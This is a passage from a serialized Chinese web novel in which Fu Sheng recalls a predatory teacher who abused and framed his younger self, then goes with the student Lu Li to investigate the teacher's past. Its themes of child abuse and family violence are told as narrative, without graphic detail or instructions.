起身走过去关门的时候,手刚放在门把手上,一只瘦长的手在门缝伸了出来,挡在门上。 陆离站在门口,手里拿着医药箱:“你不也是在逞强?” 这话听得格外耳熟,场景也是,以前陆离受伤他经常这样说,只不过现在风水轮流转,人调换了。 傅生有些愣。 再回过神来的时候,陆离坐在对面,自己的脚踝被他瘦长的手指托着放在大腿上,他垂着眸子,拿着棉签,表情格外认真。 棉签蘸着酒精抹在伤口上,勾着细细的麻意。傅生手指碰了一下鼻梁,找了话打破了这个寂静:“你——感觉你们新来的那个生物老师怎么样。” 他不太想陆离接触那些恶心的东西,但是又怕他受到伤害。 所以选择一种迂回的方式。 陆离抬了一下眼皮,冷着声音说:“不怎么样。” 对于陆离的回答,傅生挑了一下眉。 “为什么?” 吴海昊在外人眼中的形象向来是无可挑剔,在学校经常加班,对学生也是永远的一副好脾气,就是考的差了,他也只是笑眯眯的说上一句。 “下次好好考,一定可以进步的。” 就连他当时也被吴海昊这副老好人的样子忽悠过去了。 所以傅生很好奇陆离为什么会对他有这种评价。 陆离将伤口处理好,垂眸在伤口上看了几秒,才起身说:“没有为什么。” 讨厌一个人,喜欢一个人,本来就不需要有原因。 傅生笑了一声。 这种回答,也确实符合陆离现在的脾气。 “不喜欢的话,那就平时离他远点。”傅生开玩笑一般开口。 陆离:“嗯” 房间里陷入了沉默,陆离垂着眸子看着自己的腿上脚踝,他的皮肤太白,白的连血管的纹路都可以清晰可见。 刚才喷酒精,一滴水珠落在上面,顺着筋骨处流了下去,陆离喉间下意识的滑动,接着伸手用指腹很轻的抹了一下。 微妙的氛围似乎又有卷土重来的意思。 温热的手指掠过皮肤,比刚才的药水还能引起他的颤挛,傅生下意识的收回脚,掩饰的咳了一声:“好了,时间不早了,快去睡觉。” 陆离垂着眸子捻了一下手指,指尖带着潮湿,颇有种意犹未尽的滋味。 片刻,他掩下自己的情绪,起身拿着医药箱走在门口顿了一下,音色极低地说,“有什么事记得叫我。” 傅生看着他瘦瘦高高的身影,在这一刻倏然察觉,之前被他护着的少年,好像真的成年了。 * 那天的事像是一个插曲,很快就过去了。 过完年之后,接近高考的日子越来越近,班里的学生沉静下来不少,只有李学波那个傻狍子还沉浸在各种八卦中。 “陆哥,陆哥,陆哥。”李学波和陆离熟悉了之后,对于那张冷脸的抵抗力稍微强了一点。 陆离头都没抬:“有事说。” 李学波完全不在意陆离的冷淡,自顾自地讲:“你知道吗,隔壁班的男老师在小软件上跟人家裸/聊,被录了视频了。” 陆离没反应。 “我在手机上瞥了一眼,咦——那个大肚子,咱也不知道他怎么好意思跟人家裸/聊的,还被人坑了,对方拿着视频威胁他,要三千块钱,那个男老师将钱转过去之后,第二天就把视频发到网上了,”李学波一脸嫌弃的说完,嘴还撇了撇,然后看着陆离冷淡的样,话锋一转,“我这里有,你要看吗?” 陆离这才看向他,脸上嗖嗖地冒着冷气。 李学波被冷气冰镇了一下子,想来陆离也不想看这种恶心的东西,抓紧改口求饶:“闹着玩闹着玩,话说——” 他眼睛向周围瞥了几眼,压低声音:“你上次说的,咱们生物老师的事我也听到了一点,不过不太全面。” 陆离冷着声问:“什么?” “吴海昊之前在市里的英雄中学教书,得了很多次市优秀教师,”李学波说,“他的教育水平很高,许多学校当时挖他,他都没有走。” 陆离手中的笔动了一下:“那他为什么来我们学校?” “我听说是因为和他对象离婚了,”李学波学着在大人那里听八卦的语气说,“你看看他这样子的,天天在学校里加班到深夜,哪个女人受得了,离婚也是必然的事。” 说完,李学波眼睛转了一下说:“你说,他是不是来我们这里治疗情伤?。” 陆离垂下眸子,露出几分嘲讽。 离婚疗情伤? 既然婚都离了,还装什么好男人。 “陆哥陆哥?”李学波看着陆离拿着笔走神又喊了他一句。 陆离斜眼看向他。 “我就是问一下,”李学波说,“你为什么突然对咱们的生物老师这么感兴趣?” 陆离捏了一下指腹说:“你为什么对所有事这么感兴趣。” 李学波:“……闲的。” 陆离眼睛看着他。 李学波伸手虚虚的给了自己一巴掌,他就活该多这个嘴。 放学之后,陆离斜挎着书包下楼,拐角的时候刚好遇到弯着眼睛笑的吴海昊。 陆离看他一眼就收回了目光,径直地向前走。 吴海昊在后面喊道:“陆离?” 陆离扭头看向他,一张脸上全是冷淡,有几分冷若冰霜的味道。 吴海昊也不恼:“怎么下来这么晚?我看别的学生都走了。” 陆离面无表情地说:“值日。” “哦,这样啊,”吴海昊将白色的衬衫袖口向上挽了一下,“我这几天讲的课能跟上了吗?有没有哪里不太懂的地方?” 他看着陆离面无表情地看着他,又补充道:“老师之前是在其他学校转来的,不知道这边学生学习节奏,所以问问。” “那你不应该问我。”陆离说。 这句话说出来够狂妄,但是在陆离嘴里说出来又很合理,陆离的成绩,尤其是高三之后远远地超过其他学生。 问他学习进度,上课情况等于白问。 吴海昊脸色有一瞬间沉了下去,但很快又恢复之前的模样:“也对。” 陆离继续向前走。 吴海昊却在身后打听起他的家事来:“我之前听学校老师听说了你家的情况,哎真是,老师真的心疼。” 陆离脚步顿了一下,抬头看向他:“家事?” “就是你——”吴海昊顿了一下,“你继父。”他想要伸手在陆离肩膀上拍一下,被陆离皱着眉躲了过去。 陆离看着吴海昊那一副老好人的脸,第一感觉就是虚伪。 甚至带了一丝莫名其妙的厌恶。 打听别人的家事本身就不礼貌的行为,更何况这个人打听的情况还是滞后性的。 “说完了吗?”陆离冷着声音,有些不爽地问,“没事我走了。” 吴海昊被陆离的态度弄得愣了一下,这种原生家庭很差又极度缺爱的学生,只要他降下姿态说几句关心人的话,就算不是当场感动,最起码不是陆离这个态度。 这个方法他百试百灵,没道理在陆离这里翻车。 “老师就是关心你,没有别的意思,”吴海昊干笑了一声,又在书中拿出一张纸,在上面写了个地址,“要是有什么需要老师帮忙,或者想补课,你就去这里找——” 陆离有些不耐烦,刚想把他手中的地址扯过来,就在这时,一只好看的手从身后伸过来,带着冬天的冷意,将纸条抽了过去。 “这就不用了,”身后一道温沉的声音响起,“陆离用不着补课,也用不到外人挂念了。” 陆离听到这声音,眼皮一抬,下意识地回头。 傅生一手拿着纸条,身形挺拔优雅地站在台阶下。 他低头看着手中的纸条,很轻的笑了一下。 比起他平日里的笑,这个笑多了点嘲讽的味道。 别人看不出来,但是陆离看出来了。 吴海昊看着他:“你是?” 傅生没回答。他站在风口处,手中的力道一松,那个写着地址的纸条就被卷进风里,最后刚好落在学校垃圾堆里。 “啊,不好意思,”傅生带着笑看着他,“没拿住。” 吴海昊的脸黑了下去。 傅生转头,对着陆离说:“走了。” 傅生向来行事讲究,就算骗人也是礼貌优雅,时常将人哄着找不到北。 今天这样说话带刺,陆离还是第一次见到。 他眼睛垂了一下,然后跟了上去。 虽然人还是冷冷的,脸上神情却明快不少。 吴海昊站在台阶上,看着前边两个身影,握紧了手中的书,眼睛阴沉。 蒋文远远地就看见那两个身影在学校里出来。 两个人上车之后,蒋文开着车就开始没话找话:“我说我自己来就行,傅生非要跟着来。” 原本他以为会接到傅老板的冷嘲热讽,身后却一点动静没有。 蒋文下意识的透过后视镜看了一眼。 傅生倚在座位上,手指虚掩着唇,脸色惨白。 陆离显然也注意到了,嗓音带上几分着急:“傅生?” 傅生开口想说一句没事,却依旧压不下去那股情绪,胸口开始翻腾。 隔了这么多年,他以为自己已经忘记了。 …… 他偷了吴海昊钱的事在学校传得沸沸扬扬。校长原本是想将他开除,吴海昊却说算了算了,跟个孩子计较什么。 背地里却看着他说:“我说过什么,没有人信你。” 他看着那张令人厌恶的脸,捏紧了拳头。 那张脸挑衅一般地看着他说:“你知道我为什么要挑小男生下手吗?这个年龄的小男孩自尊和虚荣心都是最强的,就算是被侵犯了,他们的可笑的自尊心也容不得他们开口,你不是已经试过了吗?你救的那个男生帮你作证了吗?” “他们要说什么?说被一个男人草了吗?况且……”吴海昊将眼镜摘下来,擦了又擦,突然弯着眼睛,眼尾的皱纹堆在一起看向他,“况且不是还有很多你这样没人管的吗?不管我对你干什么,有人给你撑腰吗,所以你为什么不老实一点,配合一点呢,陆、离、同、学。” 所有人都在夸吴海昊真是好人,好老师,只是摊上一个烂学生。 十六七岁的孩子,并没有明显的善恶观,他们做事全凭喜好。 他上一辈子打过的架加起来都没有那一个月多,学生集体的恶意,就全都聚在他一个人身上。 因为他得罪了他们最喜欢的生物老师。 每次他带着一身伤回家的时候,苏梅总是冷淡地看他一眼。终于有一天,他在苏梅脸上瞧见的不再是冷淡的情绪了。 他推开门,看见吴海昊坐在他家中,赵国强和苏梅端坐在一旁,给他递酒。 “哎,”吴海昊扭头,“陆离回来了?” 他忘记了自己那一刹那的情绪,只记得身上的血液似乎在同一时间涌上了上去。 吴海昊说:“既然陆离回来了,我也不耽误你们一家三口吃饭了。我先走了。” “混蛋玩意,看见老师都不喊一声,”赵国强瞪了他一眼,又含着笑意的看向吴海昊,“老师,您慢走。陆离的事,就请你多操心了,他年龄小,不懂事。” 那是他头一次看到赵国强这么懂事,他和吴海昊对视的那一眼里,好像商量好了什么约定俗成的事,两个人同时发出一样恶心的笑。 吴海昊临走的时候,那胜利挑衅的眼神又轻飘飘地落在他身上。 仿佛在说:“你看吧,没人帮你,没人救你。” 人走之后,赵国强就抄起了啤酒瓶子看着他:“明天下午,你去吴老师家里跟人道歉。” 他不肯,强压着难过和厌恶看着赵国强。 赵国强原本想用酒瓶子打在他脸上,却突然想起了什么,没有打下去,而是揪住了隔壁苏梅的头发。 “你在学校里惹了事,还给让你爹收拾烂摊子,妈卖批的,你不去可以,你一天不去我就打你妈一顿,我看你能坚持到什么时候。” 苏梅被抓着头发,格外痛苦地看了他一眼。 他咬着牙,没应。 晚上,她拿着一盘糖酥进了他房间。 苏梅无论做什么都很好吃,尤其是糖酥,是超市里也比不上的味道。 他很久没吃过了,忍着身上的疼意,起身吃了一块。 苏梅额头上带着伤,坐在地上看着他:“好吃吗?” 他点了点头。 苏梅没说话,房间里沉默下去,能清晰的隔壁赵国强打呼噜的声音。 等他吃完,苏梅端着盘子起身的时候,低声说了一句:“去跟老师道个歉吧。” 他感觉自己全身的血似乎凝固了一瞬,黑黝黝地眼睛一动不动地盯着苏梅。 苏梅没敢看他,低头看着手中的盘子,重复了一遍:“就道个歉。” 好半晌,他听见自己的声音,在房间里低的像是听不到:“我只道歉。” 苏梅嗯了一声,拖拉着鞋走出了房间。 房间里一片漆黑,他坐在床上,一宿没睡。 第二天去敲吴海昊家的门的时候,他还是对于苏梅抱有期待的。 他想就算赵国强和吴海昊达成了某种交易,苏梅也是不知情的,那是他的亲生母亲。 就算有些讨厌他,也不至于…… 他道完歉就走。 推开门,吴海昊似乎知道他回来,早就在客厅里等着了。 他走过去,用极快的速度说了一声对不起。吴海昊嗤笑一声,从上到下的打量他一圈。 那天在窗户里看到的堆着肥肉耸动的肚子还清晰的印在脑海里,甚至就是这间屋子发生的事。 他强忍住恶心,冷着声音看着吴海昊说:“我只道歉。” 吴海昊似笑非笑看着他,似乎在等待着什么。 他皱了皱眉,转身要走的时候,却一阵眩晕感。 扒开袖子看了看胳膊,上面已经起了一圈的红疹子。 这是对芒果的排斥反应。但是从昨天下午到现在,他只吃了苏梅的做的糖酥。 他不愿意相信。 “你妈说你脾气倔,骨头硬,”吴海昊在身后说,“得有什么办法才能制住你。” 然后他掀开桌子上的一块布,满满当当的都是芒果,那些芒果没了遮盖,味道瞬间弥漫了这间不大的屋子。 他潜意识里开始反胃,那种对芒果排斥感让他嘴唇煞白,像是又回到了奶奶死的那天,他哭的大脑缺氧又胸口窒息的感觉。 吴海昊笑眯眯的眼睛不见了,黑框眼镜下阴沉地看向他,然后拿起一颗芒果向他嘴边塞。 “为什么芒果这么排斥?因为你奶奶?还挺有孝心,我还没见过这种病,让我见识见识。” 芒果的味道闯进了他的口腔,他转过身干呕,吴海昊咬牙切齿地说,“你不是骨头硬吗?给我吃!吃啊,因为你我费了多大功夫你知道吗?要不是有老板就喜欢你这种的,我早就让你在学校也混不下去了。” 芒果在吴海昊手中被捏烂,那股味道更盛。 他轮着胳膊拼着现在所有的力气将吴海昊轮在地上,芒果滚了一地。他看着地上的芒果,垂了一下眼睛。 知道他这个病的只有苏梅。 苏梅她什么都知道, 什么……都知道。 却还是将这件事告诉了吴海昊。 她亲手将自己的亲儿子送到了这么一个畜生的家门。 可能是愤怒的情绪盖过了所有,他抄过一旁的木头椅子,重重地朝着吴海昊打了过去。 “滚。” 连带这地上的芒果也烂了一地。直到血和黄色的芒果肉混在一起,他才停下手中的动作。 下楼的时候,他看到一个穿的人模狗样的老男人爬上楼,手中拿着吴海昊家的地址。 他阴着眸子看着那个男人说:“不想死,就给我滚!” 那个男人也只是来寻点刺激,看着他身上带上血的衣服满是戾气的脸,立马吓得屁滚尿流地爬下楼。 楼道里又陷入了安静,他站在风口,扶着墙干呕半晌,却什么都没有吐出来。 他将沾着血腥味和芒果味的外套随手扔进风里,抬头的时候有一瞬间的茫然。 该回哪儿? 他没家了。 没了来处,也就没了归处。 在这个热闹的世界里,活成了一片废墟,落了个孤身一人。 * “怎么好端端的会发热?” 蒋文站在身边看着傅生躺在床上闭着眼,唇色有些白。 陆离压着眸子,没有说话,医生说,是因为最近太过于劳累导致的。 他垂了一下眸子,看病床上傅生紧皱的眉。 真的只是劳累过度? 傅生平时看着散漫,对什么都是无所谓的态度,心里却像是压着太多事,他什么都不说,也从来不向其他人求助,只有偶尔的时候,在他微冷的眉梢下可以瞥见那些沉重心思的冰山一角。 “你先回去吧。” 陆离眸光沉沉,抓着傅生冰凉的手。 蒋文担忧地说:“你一个人可以吗?” “嗯。”陆离说。 医院里有值班的医生,再多一个人守在这里也确实没有多大用处。 “那我走了,”蒋文一步三回头地出了病房,在门口还不忘唠叨一句,“有事给我打电话。” 陆离嗯了一声。 蒋文走后,整个病房陷入了安静,他看着傅生清晰的眉骨,听着他平缓的心跳,倏然莫名的有些难过。 他不知道这种情绪从何而来,半晌,他抓着傅生的手抵在自己的额头上。 时间一分一秒地过着,陆离不知道过了多久,手中的人才动了一下。 陆离猛然抬头,看向病床上人,灯光照在他脸上,显出几分病气,就连那双眼睛,也蒙了一层薄薄的水汽,像是清晨起了雾的湖面。 陆离沉着声问:“还有哪里不舒服?” 傅生像是还没有在完全清醒过来,眼睛温温沉沉地看着他,又像是在看别的,半晌,他抬着手指,碰了碰陆离的脸。 “我好像只有你了。” 【作者有话说】 呜呜呜谢谢各位宝子,好感动,我会努力更新的。 我救了你,其实也是你救了我。(病是我瞎编的,差不多类似创伤后应激动反应。) 第0035章 第 35 章 ◎天生就讨我喜欢◎ 蒋文自己回到家里的时候, 轻啧了两声,古董店很大,平时傅生和陆离在的时候, 就算一个天天冷着脸, 却还是显得很热闹。 现在只剩下他自己, 倒是觉得有些过分空荡了。 细数了一下在古董店的这三年, 蒋文觉得是这二十几年人生最开心的日子, 虽然明明他最大,但是经常被这个大的小的指使成孙子。 不过算了,孙子就孙子吧。 可能是上辈子欠他们的。 蒋文虽然嘴上不说,心里还是很担心的,他也看出来这段时间傅生有些不对劲。他没有上楼, 就在沙发上坐着等着,没想到迷迷糊糊地睡了过去。 十分罕见的, 一向睡眠情况良好的蒋文, 竟然做了个梦。 梦里那个地方蒋文认识,是北川那边的海域,明明天气很阴沉, 巨大的海浪向礁石上翻滚, 他不知道自己为什么走到那边去了。 离近了才发现, 礁石上坐着一个人影。 看样子应该是一个十七八岁的少年,天气很冷, 却穿着单薄的衣服, 身上脸上的伤也不少。 蒋文也不是爱管闲事的人,那天也不知道怎么想的, 走了过去。 少年面无表情地坐在那里, 明明最好的年纪, 眼睛里却有一种空茫感。 他见过不少这种人,多半以自杀结束。 蒋文站了一会,被咸湿的海风吹在脸上,听见自己开口:“若是死了,就什么都没有了。” 少年没说话。 他也转身就走了。 后来,他某天行骗不小心遇到了硬茬,那几个人拿着刀子,对着他捅过去的时候,倏然被一个石头打开了。 他抬头看过去,看着那天遇到的少年,眼神冰冷地站在巷子口。 他打起架来又凶又硬,还隐隐带着一点疯,那几个人还没见过这么不要命的,快速退了出去。 他们两个身上也都落了伤,蒋文坐在地上喘了几口气。 “没跳下去?又不想死了?”他很嘴贱地问,然后他被冷气扑了一脸。 蒋文哈哈哈笑出了声,然后看了一眼天边的云:“我也没地方去,要不以后跟着我干吧。” 他是个骗子,带着人行骗,刚开始的时候,身边的这个制冷机看着人就放冷气,别说骗人了,别人看到他就被满脸的冷气就被冻走了。 “你这样不行啊,”蒋文摸了摸逐渐变薄的口袋,长长地叹了一口气说,“再这样下去,咱哥俩都得喝西北风。” 制冷剂闷着头没有说话,只是后来再行骗的时候,他会逐渐收一收自己的情绪。 人天生的性格不是这么能轻易改变的,就像一个人不喜欢讲话,就算逼着他也讲不了几句。 但蒋文却看着身边的制冷机从浑身冒着冷气,到逐渐放低自己的存在感,试着露出僵硬的微笑。 蒋文在旁边嘲讽:“你别对人笑了,你这笑的比哭好看不了多少。” 谁见过制冷机对人笑的。 只是不过两年,短短几百天,少年的身上的冷意被他收得一干二净,肩背越发的挺拔,一举一动优雅得体。只有偶尔看他低垂着眼睛走神的时候,可以瞥见点少年硬骨。 明明这改变对他们有益处,蒋文却在里面品出一点唏嘘。 以前的冷淡少年,剔骨削肉把自己变成另外一番模样。 “我有点后悔当时带着你进这行了。”蒋文看着眼前的人,带着几分叹息说。 眼前的人经过几年的岁月,已经成了二十多岁的青年。 “与其后悔这些,不如提提自己的业务能力。” 他脸上带着笑,却未达眼底:“我听说你昨天去蹭吃蹭喝又被人逮了?蒋老板。” 蒋文哪点愧疚瞬间消失的无影无踪,斥道: “还老板?你拿我当过老板?以前不说话气我,现在还气我。” 呼—— 蒋文吓得一下子在沙发上醒了过来,他怎么做了这种梦。 梦中人的脸明明是陆离那个臭小子,最后那股子懒散劲竟然有点像傅生,一想到陆离带着笑,他就全身起了一层鸡皮疙瘩。 可能最近发生的事情太多了,把两个祖宗一起混进去了。 哎,都是祖宗。 蒋文看了一眼时间,凌晨四点,他想着陆离可能没睡,就想着打电话过去问问情况。 刚拨了一个号出去,就听见手机铃声在门口响了一声。 两个同样修长挺拔的两位祖宗站在门口。一个冷着张制冷机的脸,一个虽然脸有些苍白病气,依然挡不住那股子既散漫又讲究的模样。 蒋文抬头,那两张脸和梦里重叠在一起。 他摇了摇头,抓紧在梦境里脱离出来。 “不是,你们怎么回来了?”蒋文问。 陆离看了看旁边的人:“有人在医院睡不着。” 傅生弯了弯眼睛说:“怕你趁我不在,把我店卖了。” 蒋文:“……” 行行行。 张嘴就是熟悉的味道。 现在是凌晨四点,外面没有一点要天明的意思,傅生坐在沙发上,房间里暖气重,陆离怕他冷,上楼拿了条毛毯下来,又将人严严实实地裹住。 傅生看着他模样,哑然失笑:“我真的没事。你这样我会以为自己七老八十了。” “七老八十身子骨没你这么差。”陆离冷着一张脸看着他。 傅生:“……” 果然还是刚醒过来的那会好,有求必应的,这才多大会,又开始冒着冷气冰人了。 蒋文那个棒槌还在一旁见缝插针的开口:“对啊,你这两天身子怎么这么差?真是累的?” 傅生心说你还真是哪壶不开提哪壶,他刚想找个理由搪塞过去,结果一扭头,陆离睁着那双乌黑的眸子,一动不动看的看着他。 “……”傅生将身上的毯子盖到腿上,手指捏了一下眉心,轻咳了一声说,“可能是被气的。” 蒋文:“被谁气的?” 傅生看向他:“你。” 蒋文提声:“不是,我什么时候气你了?” 傅生哦了一声,又转过身子看陆离:“那就是被陆离气的。” 陆离看着这个人三言两语把周围人怪了个遍,拿了杯热水递给他。 “我不渴。”傅生说。 陆离说:“不是让你喝的。” 傅生笑了一声,直觉不是好话,但他还是顺着问了一句:“那干什么?” 陆离说:“将嘴堵上。” 傅生挑了一下眉:“没大没小,怎么跟长辈说话呢。” 话说着,他还是接过了杯子,在路上冻得冰凉的指尖稍微暖过来一点。 周围太过于安静了,蒋文有点不适应,开始没话找话:“你知道我刚才梦到什么了吗?” 傅生看他一眼:“什么?” “我梦到陆离长大后变成了你,”蒋文现在还觉得这梦太荒诞了,明明性格不同的两个人。 他笑了几声说:“你说搞笑不搞笑。” 傅生捏着杯子的指尖紧了一下,垂着眼眸说:“确实搞笑。” 陆离闷着头半晌,突然抬头看向他:“我为什么会变成傅生?” 蒋文幽默地说:“大概是怕冷气把人冻死了。哈哈哈哈哈哈。” 陆离面无表情地看着他。 “咳,”蒋文被这祖宗看得咳嗽了一声,“可能是突逢变故之类吧,就是个梦,我总不能冲过去问你吧。” “行了,梦里的事哪有逻辑,做不得真,”傅生推了一下人说,“一会还要上学,再上楼眯一会。” “我不困,”陆离也没有再问这个问题,低着头在手机上划了几下,沉着目光说,“明天李学波约我一起出去,中午应该不回来。” “啊,你们不上课啊。”蒋文惊讶了一下,看着手机才发现明天周六了,“哦,你们去哪里玩?” “图书馆。” “不是,上了五天好不容易放个假,你们去图书馆?” 陆离说:“学习不行?” 蒋文对他竖了一个大拇指:“行。” 陆离又将目光移到了傅生身上,抿了一下唇说:“你呢?” “我?”傅生说,“我这个样子,肯定是在家里养病,不用管我,我已经没事了,况且不是还有你蒋文叔叔。” “放心吧,有我呢。”蒋文在陆离肩膀上拍了两下,又看向傅生,“傅大老板,看来明天还是我们俩在家。” 傅生垂着眸子不知道在想什么,片刻才看向蒋文,眼神意味不明。 蒋文被那个眼神搞得莫名其妙,直到第二天他才知道是什么意思。 他看着空荡荡的古董店,非常无语地叹了一口气。 “行,又是他孤家寡人,一个人在家。” 陆离出去学习也就算了,一个病号也向外跑。他早晨看着傅生穿着大衣出门的时候,还愣了一下:“你干什么去?” 傅生只有唇上还带着些许的病气,他没搭话,只是道:“别告诉陆离我出门了。” 说完就转身出了门。 今天的雾气很大,车窗上起了一层雾气,陆离坐在车上,垂着眸子看着手机。 李学波话多,除了在班级群,就开始给他发消息。 李学波:[陆哥,大眼他们约了今天去鬼屋,去不去?] 陆离:[不去] 李学波:[大眼和学委他们让我叫上你,我一猜你就不去] 李学波:[隔壁班好几个妹子也来了,她们刚才还问你来着。] 李学波看着陆离好大会不回复消息,问道:[你不会又去了图书馆了吧] 陆离:[没有,信号不好。] 李学波:[] 李学波:[你在哪里信号不好?] 陆离:[车上] 李学波:[你去哪里了] 陆离垂着眸子:[英雄中学] 李学波发来三个问号。 陆离没有再回复陆离的消息,而是打开了傅生的聊天页面。 傅生两次不对劲,都是和吴海昊有关。 吴海昊昨天看到傅生却又不像认识。 他想弄清楚为什么,就只能来到吴海昊之前生活的地方。 陆离抿了一下唇,在屏幕上点了几下,跟傅生发过去消息。 陆离:[别忘了吃药。] 傅生的消息回复得很快。 傅生:[知道了,小小年纪怎么这么操心?] 陆离:[怕上了年纪的人忘了。] 傅生坐在打的车上,看着陆离发来的消息笑了一声。 傅生:[上了年纪的人说,请这位同学在图书馆认真一点。] 对面果然不回了,傅生笑了一下,将手机塞进了大衣口袋里。 打的司机是个健谈的,看着傅生脸上刚收起来的笑意说:“跟对象聊天呢吧。” 傅生礼貌地回复了一句:“不是,自言自语。” “哎哟,别不好意思,给自己聊天可不会这么笑,”司机用一种过来人的语气说,“你们现在是遇到好时候了,想当年我谈恋爱的时候,还没手机,天天蹲在门口等着邮递员,看见人就喊一句:今天有我的信吗?” 傅生看着司机眉开眼笑的模样,没有打断他忆往昔峥嵘岁月,只是垂着眼睛沉思。 他离开北川之后,其实回来过一次,吴海昊被他打了之后,并没有报警,可能是怕自己做的那些事情败露,又或者因为一些什么别的原因。但那年他因为广受爱戴,调去了首都,成了某个大学的特聘教授。 他也去那个学校里找过,里面的人讲,吴海昊只待了几个月就走了,他说受不了大学的生活,准备去找个小学教小学生。 此后,音信全无。 傅生那时候已经没了少年的硬脾气,很少有什么事能调动他情绪,甚至对于大部分人和事都能冷眼旁观,但得知这件事后却还是在心底生出一股戾气和不公平来。 凭什么吴海昊那样的人可以安度晚年。 傅生的棕色的眸子逐渐阴沉下去,以至于司机喊了他好几声都没有听到。 “小伙子——”司机提高声音,解下安全带,起身探向傅生坐的位置。 傅生回神,抬起眼睛看了他一眼:“抱歉,在想一些事,请问什么事?” “吓我一跳,我以为你晕过去了,”司机说,“你去的地方到了,英雄中学,是不是这里。” “到了?”傅生透过窗户向外看了一眼,外面学校招牌上果然写着英雄中学四个字。 他眼睛眨了一下,拿钱下车:“谢谢。” 司机冲他摆了摆手,一踩油门冲了出去。 傅生看着风急火燎的司机,笑了一下,只是转身的时候,脸上的笑却空白了一瞬。 一个身高腿长,清瘦挺拔的男生,从车上下来,那张冷着的脸,隔着几米都能感觉到冻人劲。他眼睛先是在周围看了一圈,接着盯在傅生身上。 再然后,去图书馆的和在家里养病的目光碰在一起,空气同时静默下来。 片刻,陆离抿了一下唇。 傅生秉承着先开口的人没错的道理,开口问道:“我怎么不知道这里有图书馆?” 陆离看着他,冷着脸还了回去:“我也不知道学校里还能养病。” 两个人隔空对峙了几秒。 傅生叹了一口,率先开口,“你来这里干什么?” 陆离抿唇默了几秒,冷着嗓音说:“你来干什么我就来干什么。” 如果之前,陆离还不能确定傅生认识吴海昊,那他现在就可以百分之百确定傅生一定跟那个人有什么牵扯。 傅生看着陆离乌黑的眸子,那里面的执拗跟倔劲和小时候一模一样,从小到大就没有变过。 好在,他没有变过,也不用改变。 “既然来了,”傅生愣了几秒,移开目光说,“那就一起吧。 陆离看着傅生走在前边,睫毛压了一下,跟了上去。 今天是周六,学校里没有人,只有一个保安,坐在保安亭里,正抱着个保温杯昏昏欲睡。 傅生走过去敲了两下窗户:“你好。” 保安激灵了一下,惊醒了,再然后看见傅生的脸。 他将玻璃滑下来,问道:“找谁?有什么事。” 傅生说:“找一下吴海昊老师。有他的联系方式吗?” “吴海昊,”保安想了想一会说,“他不是调走了吗?现在不在这个学校了。” “调走了吗?”傅生惊讶地问了一声,“我想当面表达一下我的感谢,这真的太遗憾了。” “调走了,不过你可以去他家看看,他们这些远调的老师不是周六周末都回来吗,”保安说。 “那也行,”傅生说,“你有他家的地址吗?” 保安拿出来一个小本本翻了翻说:“我给你找找。”他带上旁边的老花眼镜翻了几页:“找到了,彩虹花园11栋一单元201,对就是这个。” “哦,谢谢。”傅生走出去几步,又转身看着保安说,“不过你知道吴老师是怎么调走的吗?” 保安眼睛闪了几下,神情微妙,然后快速地摆了摆手:“这个我不知道,学校做的决定我们下面的人不知道。” 傅生看着他,声音逐渐放低:“真的一点不知道吗?吴老师这么好的老师,就这么走掉,多可惜。” “可惜?”保安眼神放空了一下,不由自主地说,“不可惜,有个孩子家长来学校里闹了好几次了,他不走也没有办法。” 傅生问:“为什么?” 保安:“不知道学生怎么了,这些事我们保安哪能知道。” 傅生眸光沉了一下:“最后怎么解决的?” “还能怎么解决,拿钱,保送,”保安说,“不就这些解决方法。” 傅生倏然想起来,他之前在吴海昊家里拉出来的那个男生,本来成绩也不行,却也是走了一个很好的大学。 他嘲讽地笑了一下,到头来只有他被困在原地。 他对着保安了声谢谢,转身就走。 保安在迷蒙了回过神来,看着人喊道:“等等。” 傅生顿了一下,陆离也停在一边。 被发现了? 保安身子在保安亭子里探出头来,上下打量了一下陆离,突然开口夸赞道:“这是你家孩子吧?养得真好啊。在家肯定很讨长辈喜欢吧。” 傅生一怔,然后缓着声音说:“嗯,我家的,天生就讨我喜欢。” 这声音带着轻微的笑,陆离垂着眼睛,手指捏了一下指腹。 …… 彩虹花园离着学校并不远,不用打车,步行五分钟差不多就能到。 傅生在前边走,见身后陆离闷着声,他停下脚步,回头看过去:“怎么不说话?” 陆离看着他,眼睛里树影和人影散乱,他半晌才道:“你刚才说——” 傅生疑惑:“嗯?” 陆离抿了下唇没吭声。 傅生却反应过来,好笑道:“不是我家的,还想去谁家?” 不是这句。 陆离垂着眸子,静默下来。 他想知道,讨他喜欢,是哪种喜欢。 【作者有话说】 宇宙的尽头:爱自己! 没有人比自己更讨喜 第0036章 第 36 章 ◎哥,你能不能别去。◎ 傅生看着他, 等着他的后话,没想到这个臭小子只说了一句没什么,又将卫衣的帽子带上, 闷着头走了。 每次不想说话的时候就用这一招, 他想问问这是什么封印魔法吗? 他看着前边的人, 无奈又纵容的叹了一口气, 跟了上去。 两个人进了小区内, 来到了保安说的吴海昊的家里。 家里的门锁着,应该是没有人。 “这周估计没有回来,”傅生在他门口看了一圈,见周围没什么东西,就转身下楼。 他来这边当然也不是为了来吴海昊家里的看看的。 陆离在身后跟着:“现在去哪?” “走, ”傅生眉梢一条,意味深长地说, “带你去看看小区里的情报站。” 陆离:“情报站?” 傅生只是笑了一下, 没说话。 直到他到了那所谓的情报站。 这种小区里面一般都会建着一个供着老人健身的小广场。 现在是上午十点,广场上正是阳光充足的时候,一堆老年人围在广场上。 老头围在一起下象棋, 老太太坐在一旁闲聊, 偶尔有几个乱频的老头扎在里面。 然后, 陆离就看着傅生走了进去,挺拔的高个子在里面显得格格不入。 一群老太太看着眼前的生面孔, 目光全都聚了过去, 只几秒钟,就从陌生人变成了可交谈地陌生人, 开始七嘴八舌的乱问:“不是我们小区的吧?” “来找人?” “多大了?看着不大。” “结婚了吗?有对象吗?” 傅生对于这些应付自如, 脸上始终挂着和煦的笑, 听着七嘴八舌的询问。 陆离站在不远处,抿了一下唇,对于这种环境还是有些不适应,尤其是所有人的目光都聚集在一个人的身上的时候。 他挪动了一下脚步,刚想离这个没有边界感的是非之地远一点,结果就看到傅生看他一眼,装得斯斯文文在人堆里给他招手,让他过去。 陆离:“” 第一秒他没动,第二秒他觉得再不过去,傅生会被那群老太太生吞了。 因为有的人已经拿出照片,开始提他们女儿征婚了。 陆离向下拽了拽帽子,还是走了过去。 老头老太太的目光又聚到他身上,“这孩子看着还上学呢吧?” “高几了?” “成绩怎么样?” “准备考什么大学?” “在学校里没找女朋友吧?。” 陆离:“” 傅生看着陆离手足无措却板着脸强装镇定的模样,唇角的弧度更大了。 